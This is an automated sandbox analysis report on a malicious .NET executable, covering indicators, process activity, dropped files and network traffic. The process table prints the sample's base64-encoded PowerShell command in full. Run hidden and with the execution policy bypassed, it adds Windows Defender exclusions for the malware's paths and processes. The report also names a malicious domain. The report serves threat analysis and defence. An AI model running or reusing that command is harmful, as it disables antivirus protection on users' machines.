| File name: | 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe |
| Full analysis: | https://app.any.run/tasks/b5517215-317e-4217-885a-e44535a657a8 |
| Verdict: | Malicious activity |
| Analysis date: | May 18, 2025, 14:34:32 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows, 2 sections |
| MD5: | 7D66D21A9B41E1004BAC03DB42431EC6 |
| SHA1: | 2C3B029E9CA0F09D770CEE24C616D8083AD59301 |
| SHA256: | 9085F21C1B1530BBA6A058781FF7EBF33928DBECFE39FFB7BD2FC34344AC6BDB |
| SSDEEP: | 24576:oR7XoQldLSK7y9MfDVtUxuTjypeD5S6sCvOGTTxdBaQBFO4Et6Vkpc5:oR7XoQldLSK+9MfDVtUxuTjywNS6lvO9 |
MALICIOUS
Bypass execution policy to execute commands
- powershell.exe (PID: 5968)
Run PowerShell with an invisible window
- powershell.exe (PID: 5968)
SUSPICIOUS
Reads the date of Windows installation
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
Reads security settings of Internet Explorer
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
Starts CMD.EXE for commands execution
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
The executable file from the user directory is run by the CMD process
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 8048)
The process executes via Task Scheduler
- powershell.exe (PID: 5968)
- Current.exe (PID: 4120)
Executable content was dropped or overwritten
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 8048)
Connects to unusual port
- MSBuild.exe (PID: 4652)
INFO
Reads the computer name
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 8048)
- MSBuild.exe (PID: 4652)
- Current.exe (PID: 4120)
Checks supported languages
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 8048)
- Current.exe (PID: 4120)
- MSBuild.exe (PID: 4652)
Reads the machine GUID from the registry
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 8048)
- Current.exe (PID: 4120)
- MSBuild.exe (PID: 4652)
Process checks computer location settings
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 7528)
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 5968)
Creates files or folders in the user directory
- 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe (PID: 8048)
Checks if a key exists in the options dictionary (POWERSHELL)
- powershell.exe (PID: 5968)
Reads Environment values
- Current.exe (PID: 4120)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Generic Win/DOS Executable (50) |
|---|---|---|
| .exe | | | DOS Executable Generic (49.9) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2085:06:19 06:36:13+00:00 |
| ImageFileCharacteristics: | Executable, No line numbers, No symbols, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 48 |
| CodeSize: | 680960 |
| InitializedDataSize: | 1536 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x0000 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| Comments: | - |
| CompanyName: | - |
| FileDescription: | - |
| FileVersion: | 1.0.0.0 |
| InternalName: | Efhfq.exe |
| LegalCopyright: | - |
| LegalTrademarks: | - |
| OriginalFileName: | Efhfq.exe |
| ProductName: | - |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
140
Monitored processes
11
Malicious processes
0
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4120 | "C:\Users\admin\AppData\Roaming\Tags\Current.exe" | C:\Users\admin\AppData\Roaming\Tags\Current.exe | — | svchost.exe | |||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 4652 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe | Current.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: MSBuild.exe Version: 4.8.9037.0 built by: NET481REL1 Modules
| |||||||||||||||
| 5968 | "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBEAEQALQBtAFAAUAByAEUAZgBlAHIARQBOAGMAZQAgAC0AZQB4AEMAbAB1AFMAaQBPAG4AcABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVABhAGcAcwBcAEMAdQByAHIAZQBuAHQALgBlAHgAZQAsAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAGEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAIAAtAGYATwByAGMAZQA7ACAAQQBkAGQALQBNAFAAUABSAGUARgBFAHIAZQBuAGMAZQAgAC0ARQBYAEMATAB1AFMAaQBPAG4AUAByAE8AQwBFAFMAcwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABNAGkAYwByAG8AcwBvAGYAdAAuAE4ARQBUAFwARgByAGEAbQBlAHcAbwByAGsANgA0AFwAdgA0AC4AMAAuADMAMAAzADEAOQBcAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUALABDADoAXABVAHMAZQByAHMAXABhAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAFQAYQBnAHMAXABDAHUAcgByAGUAbgB0AC4AZQB4AGUAIAAtAEYATwByAGMAZQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7436 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7528 | "C:\Users\admin\AppData\Local\Temp\9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe" | C:\Users\admin\AppData\Local\Temp\9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 7688 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7720 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7968 | "C:\Windows\System32\cmd.exe" /k START "" "C:\Users\admin\AppData\Local\Temp\9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe" & EXIT | C:\Windows\System32\cmd.exe | 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 7988 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
7 222
Read events
7 222
Write events
0
Delete events
0
Modification events
Executable files
1
Suspicious files
1
Text files
2
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5968 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jz5ugagz.u01.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5968 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_plcsovmp.rgr.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 8048 | 9085f21c1b1530bba6a058781ff7ebf33928dbecfe39ffb7bd2fc34344ac6bdb.exe | C:\Users\admin\AppData\Roaming\Tags\Current.exe | executable | |
MD5:7D66D21A9B41E1004BAC03DB42431EC6 | SHA256:9085F21C1B1530BBA6A058781FF7EBF33928DBECFE39FFB7BD2FC34344AC6BDB | |||
| 5968 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:D118E0CA3EFBCD75B9011A229BD19053 | SHA256:7F40AC4B73E7DEC5E24C528D614448A6FE7DBE9865078F526C31B708A9A51C56 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
20
DNS requests
12
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6712 | SIHClient.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
6712 | SIHClient.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
— | — | 23.52.120.96:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2112 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 40.126.31.0:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
6712 | SIHClient.exe | 20.12.23.50:443 | slscr.update.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
blue.o7lab.me |
| malicious |